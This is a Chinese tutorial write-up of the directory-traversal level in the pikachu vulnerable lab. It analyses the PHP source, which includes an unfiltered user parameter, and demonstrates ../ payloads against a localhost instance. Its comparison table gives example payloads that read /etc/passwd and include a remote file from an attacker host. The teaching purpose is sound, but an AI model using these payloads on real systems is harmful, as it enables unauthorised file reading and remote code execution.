pikachu靶场通关笔记38 目录遍历(路径遍历)

目录

一、目录遍历

二、源码分析

三、目录遍历与文件包含

四、实战渗透

1、进入靶场

2、目录遍历

(1)访问ace.min.css

(2)访问fileinclude.php


本系列为《pikachu靶场通关笔记》渗透实战,本文通过对目录遍历源码的代码审计找到安全风险的真实原因,讲解目录遍历关卡原理并进行渗透实践。如下图所示,pikcahu靶场在目录遍历关卡介绍的过程中讲解目录遍历风险的产生原因,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历安全风险。

一、目录遍历

目录遍历,也被称为路径遍历,是一种常见的安全风险,攻击者利用目录遍历安全风险可以访问服务器上本应受限制访问的文件和目录。

类别详情
定义目录遍历指应用程序在处理用户输入的文件路径或文件名时存在缺陷,使攻击者能够绕过安全限制,访问服务器上本不应被访问的文件和目录
原理应用程序未对用户输入的路径信息进行有效验证与过滤,攻击者利用特殊构造的路径(如包含 “../” 等回溯上级目录的字符),突破预设访问范围,定位到目标文件所在目录
常见攻击方式1. 在 URL 参数中构造恶意路径,如将正常的 “/download.php?file=image.jpg” 改为 “/download.php?file=../../../../etc/passwd”;
2. 在表单输入框中提交恶意路径,若应用程序存在文件上传功能,且对上传路径处理不当,攻击者可通过输入特殊路径来访问其他目录
危害1. 敏感信息泄露:获取服务器上的敏感文件内容,如数据库配置文件、用户登录凭证等,为进一步攻击提供便利;
2. 文件系统破坏:篡改、删除重要系统文件或业务数据文件,影响系统正常运行,甚至导致系统崩溃;
3. 恶意代码执行:访问可执行文件并执行恶意代码,获取服务器控制权,进一步扩大攻击范围
防范措施1. 输入验证过滤:严格检查用户输入的路径和文件名,禁止包含 “../” 等非法字符,同时对文件类型、路径长度等进行限制;
2. 使用白名单机制:明确指定允许访问的文件和目录范围,仅接受白名单内的路径请求;
3. 权限管理:为应用程序设置最小权限,限制其对文件系统的访问级别,避免权限滥用;
4. 编码转换:对用户输入的路径进行适当的编码转换,如 URL 编码,防止特殊字符被恶意利用;
5. 更新系统软件:及时更新操作系统、Web 服务器软件和应用程序,修复已知的目录遍历安全风险

二、源码分析

进入pikachu靶场的目录遍历关卡,完整的URL地址如下所示。

http://127.0.0.1/pikachu/vul/dir/dir_list.php

打开代码dir_list.php并进行源码分析,代码实现了一个简单的文件包含功能。首先初始化一个空字符串变量$html 。接着检查是否通过 GET 方式传递了title参数,若存在则将该参数值赋给$filename。然后直接使用require语句包含 “soup/” 目录下由$filename指定的文件。但由于未对$filename参数进行任何验证与过滤,直接使用用户可控的输入进行文件包含操作,存在严重的目录遍历安全风险,攻击者可通过构造恶意参数值,访问服务器其他目录的敏感文件甚至执行恶意代码,威胁系统安全 。

<?php
// 初始化一个空字符串变量 $html,可能用于后续存储要输出的 HTML 内容,但在这段代码中未实际使用
$html = '';// 检查是否通过 GET 方式传递了名为 'title' 的参数
if (isset($_GET['title'])) {// 如果存在 'title' 参数,将其值赋给变量 $filename$filename = $_GET['title'];// 这里直接把传进来的内容进行了 require(),造成问题// require 是 PHP 中的一个语句,用于包含并执行指定的文件// 这里尝试包含 "soup/" 目录下由 $filename 指定的文件require "soup/$filename";// 这行代码被注释掉了,原本的作用可能是输出 $html 变量的内容// echo $html;
}
?>

同时在这段代码里,程序直接使用 require 语句包含了由用户通过 GET 请求传递的 title 参数所指定的文件。代码中没有对 $filename 进行任何验证和过滤,攻击者能够通过构造特殊的文件名,达成任意文件包含的目的。 由于本关卡的题目为目录遍历(路径遍历),故而本文主要针对目录遍历进行渗透。

三、目录遍历与文件包含

由于本关卡源码涉及到目录遍历和文件包含,用表格形式对两者的区别,具体如下所示。

类别文件包含目录遍历
原理程序包含文件时,对用户输入的文件路径或名称验证过滤不足,使攻击者能让程序包含恶意或非预期文件,以执行恶意代码或获取信息应用处理用户输入的文件路径时,未有效限制访问范围,攻击者利用特殊路径构造(如 “../”)突破目录限制,访问其他目录文件
攻击方式修改文件包含函数参数,传入本地或远程恶意文件路径,使程序包含并执行恶意文件。如include($_GET['file']),攻击者构造?file=http://attacker.com/malicious.php构造含 “../” 等回溯目录字符的路径,逐步访问目标文件。如http://example.com/script.php?file=../../etc/passwd
危害后果严重时可致服务器被植入后门,攻击者完全控制服务器,能执行任意命令、窃取信息、篡改内容等主要造成敏感信息泄露,如获取配置文件、用户信息,也可能导致文件被非法读取、修改或删除,但一般不会直接使服务器被完全控制
本质侧重于对文件的不当包含,实现恶意代码执行侧重于突破目录限制,实现特定文件的非法访问
常见场景存在文件包含函数且对参数处理不当的代码中,如 PHP 的includerequire等函数使用处处理用户输入文件路径的功能模块,如文件下载、文件查看等功能中

四、实战渗透

1、进入靶场

 进入pikachu靶场的目录遍历关卡,完整URL以及页面如下所示。

http://127.0.0.1/pikachu/vul/dir/dir_list.php

点击链接第一个后,可以看到url=jarheads.php中包含文件名jarheads.php,进入的页面包含了jarheads.php文件的内容,具体如下所示

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php

点击第二个链接时,,可以看到url=truman.php,进入了包含truman.php内容的页面。 

2、目录遍历

(1)访问ace.min.css

尝试一下修改title的值,title=../../../assets/css/ace.min.css,完整URL如下所示。

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../assets/css/ace.min.css

访问该链接进入包含ace.min.css的页面,渗透成功, 

(2)访问fileinclude.php

尝试一下修改title的值,title=../../fileinclude/fileinclude.php,完整URL如下所示。

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../fileinclude/fileinclude.php

访问该链接进入到包含“文件包含描述“的页面,渗透成功,如下图所示。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/84446.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/84446.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

现代C++:std::string全方位碾压C字符串

在 C 中引入的 std::string 是对 C 语言中 char* 和 const char* 的一种现代化封装和增强。它不仅解决了 C 字符串的许多缺陷&#xff08;如安全性、内存管理、易用性等&#xff09;&#xff0c;还提供了丰富的 API 来简化字符串操作。本文将从多个维度详细对比 std::string 与…

20250619周四:Atlassian

今天主要把conference上的A xxx的所有资料大体看了一遍&#xff0c;花了两个多小时。 公司的这个conference系统&#xff0c;共实就是一个大型的可多人在线编辑的文件系统。差不多所有的资料都共享在上面。这对于多人参与的项目管理&#xff0c;还是相当方便的。 Atlassian最特…

通过CDH安装Spark的详细指南

通过CDH安装Spark的详细指南 简介 Cloudera Distribution of Hadoop (CDH) 是一个企业级的大数据平台,它集成了多个开源组件,包括Hadoop、Spark、Hive等。本文将详细介绍如何通过CDH安装和配置Spark。 前提条件 在开始安装之前,请确保满足以下条件: 已安装CDH集群具有管…

GitLab CVE-2025-5121 安全漏洞解决方案

本分分享极狐GitLab 补丁版本 18.0.2, 17.11.4, 17.10.8 的详细内容。这几个版本包含重要的缺陷和安全修复代码&#xff0c;我们强烈建议所有私有化部署用户应该立即升级到上述的某一个版本。对于极狐GitLab SaaS&#xff0c;技术团队已经进行了升级&#xff0c;无需用户采取任…

【八股消消乐】Elasticsearch优化—检索Labubu

&#x1f60a;你好&#xff0c;我是小航&#xff0c;一个正在变秃、变强的文艺倾年。 &#x1f514;本专栏《八股消消乐》旨在记录个人所背的八股文&#xff0c;包括Java/Go开发、Vue开发、系统架构、大模型开发、具身智能、机器学习、深度学习、力扣算法等相关知识点&#xff…

如何实现基于场景的接口自动化测试用例?

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 自动化本身是为了提高工作效率&#xff0c;不论选择何种框架&#xff0c;何种开发语言&#xff0c;我们最终想实现的效果&#xff0c;就是让大家用最少的代码&…

FreeRTOS 任务管理学习笔记

FreeRTOS 任务管理学习笔记 引言 本文档旨在通过在STM32微控制器上使用FreeRTOS来理解和实现任务管理。实验的重点是创建和管理多个任务、处理任务同步以及通过简单的硬件接口控制任务状态。 实验概述 实验涉及创建三个任务&#xff1a; LED1_Task: 每300毫秒切换一次LED。…

c++set和pair的使用

set是C中的一种关联容器&#xff0c;具有以下特点&#xff1a; 存储唯一元素&#xff08;不允许重复&#xff09; 元素自动排序&#xff08;默认升序&#xff09; 基于红黑树实现&#xff08;平衡二叉搜索树&#xff09; 插入、删除和查找的时间复杂度为O(log n) 前言 在C…

终端命令行执行具体的方法名测试用例

你可以使用如下命令单独执行 test_mutation_login_by_email 方法:python3 manage.py test apps.login.test_client.LoginTestCase.test_mutation_login_by_email 注意事项: 路径 apps.login.test_client 要与你项目实际的 Python 包路径一致(即 test_client.py 文件所在的包…

20250620在Ubuntu20.04.6下编译KickPi的K7的Android14系统

【处理SDK】 rootrootrootroot-X99-Turbo:~/Android14$ tar zxvf rk3576-android14.0-20250217.tar.gz rootrootrootroot-X99-Turbo:~/Android14$ ll rootrootrootroot-X99-Turbo:~/Android14$ rm rk3576-android14.0-20250217.tar.gz rootrootrootroot-X99-Turbo:~/Android1…

碳中和时代的家电革命,从华为智选IAM看科技企业的环保担当

在"双碳"战略与品质消费浪潮的双重加持下&#xff0c;家电产业正经历一场前所未有的绿色革命。华为智选与空净十大品牌IAM的深度协同&#xff0c;不仅构建了智能家电领域的技术新高地&#xff0c;更通过系统性创新持续拓展着行业可持续发展的想象空间。从净水科技的突…

(C语言)Map数组的实现(数据结构)(链表)(指针)

源代码&#xff1a; #include <stdio.h> #include <stdlib.h> #include <string.h>// 键值对节点 typedef struct Node {char* key;int value;struct Node* next; } Node;// Map结构 typedef struct {Node* buckets[100]; // 固定大小的哈希桶&#xff08;…

Logback示例解析

<configuration><!-- 环境变量 --><springProperty scope"context" name"app.name" source"spring.application.name" defaultValue"application"/><!-- 日志存放路径 --><property name"log.path&qu…

elementui响应式数据类型变更情况

背景。vue2。data中定义的响应数据类型是[]数组。应用在el-select中&#xff08;非multiple情况&#xff09;。当发生响应数据有变更渲染视图时&#xff0c;发现定义的数组转换成了字符串。 本身不是问题。但因为疏忽引发了watch监听formData数据时产生了产生了多次监听事件。…

人机融合智能 | 人智交互语境下的设计新模态

本章旨在探讨技术与设计领域在人智交互语境下的关系及其影响,讨论通过传统设计对人智交互的优化方法。通过回顾大数据和发展趋势,以 AI技术作为重要的技术推力,我们认为 AI技术将会在未来成为设计领域不可缺少的重要环节,并能够帮助设计师更加高效、准确地开展设计工作。本章着…

C++设计模式分类(GOF-23种设计模式)

文章目录 GOF-23 设计模式分类一、从目的分类1. 创建型&#xff08;Creational&#xff09;模式2. 结构型&#xff08;Structural&#xff09;模式3. 行为型&#xff08;Behavioral&#xff09;模式 二、从范围分类1. 类模式&#xff08;Class Pattern&#xff09;2. 对象模式&…

AbMole| LY294002(M1925)

LY294002是一种广谱的PI3K抑制剂&#xff0c;对PI3Kα/δ/β的IC50分别为0.5 μM/0.57 μM/0.97 μM。LY294002 也可以抑制 CK2 的活性&#xff0c;IC50 为 98 nM。LY294002 还是一种竞争性 DNA-PK 抑制剂&#xff0c;可逆结合 DNA-PK 的激酶结构域&#xff0c;IC50 为 1.4 μM…

第1章,[标签 Win32] :第一个 WIn32 程序,MessageBox 函数

专栏导航 上一篇&#xff1a;第1章&#xff0c;[标签 Win32] &#xff1a;第一个 WIn32 程序&#xff0c;程序入口 回到目录 下一篇&#xff1a;无 本节前言 本节的学习&#xff0c;需要前两节的内容作为先修知识。如果还没有去看本专栏的前两节&#xff0c;请你先去学习它…

求助帖:学Java开发方向还是网络安全方向前景好

最近网络安全被一个培训机构吹得天花乱坠&#xff0c;虽然他家既有网安又有java和UI&#xff0c;我也是学软件工程的&#xff08;山西某211&#xff0c;此机构是每年和我们学校合作的校企公司&#xff09;&#xff0c;但那里的老师仍然大力推荐我学网络安全&#xff08;渗透、代…

OpenCV 图像仿射变换之旋转

一、知识点 1、void warpAffine(InputArray src, OutputArray dst, InputArray M, Size dsize, int flags INTER_LINEAR, int borderMode BORDER_CONSTANT, …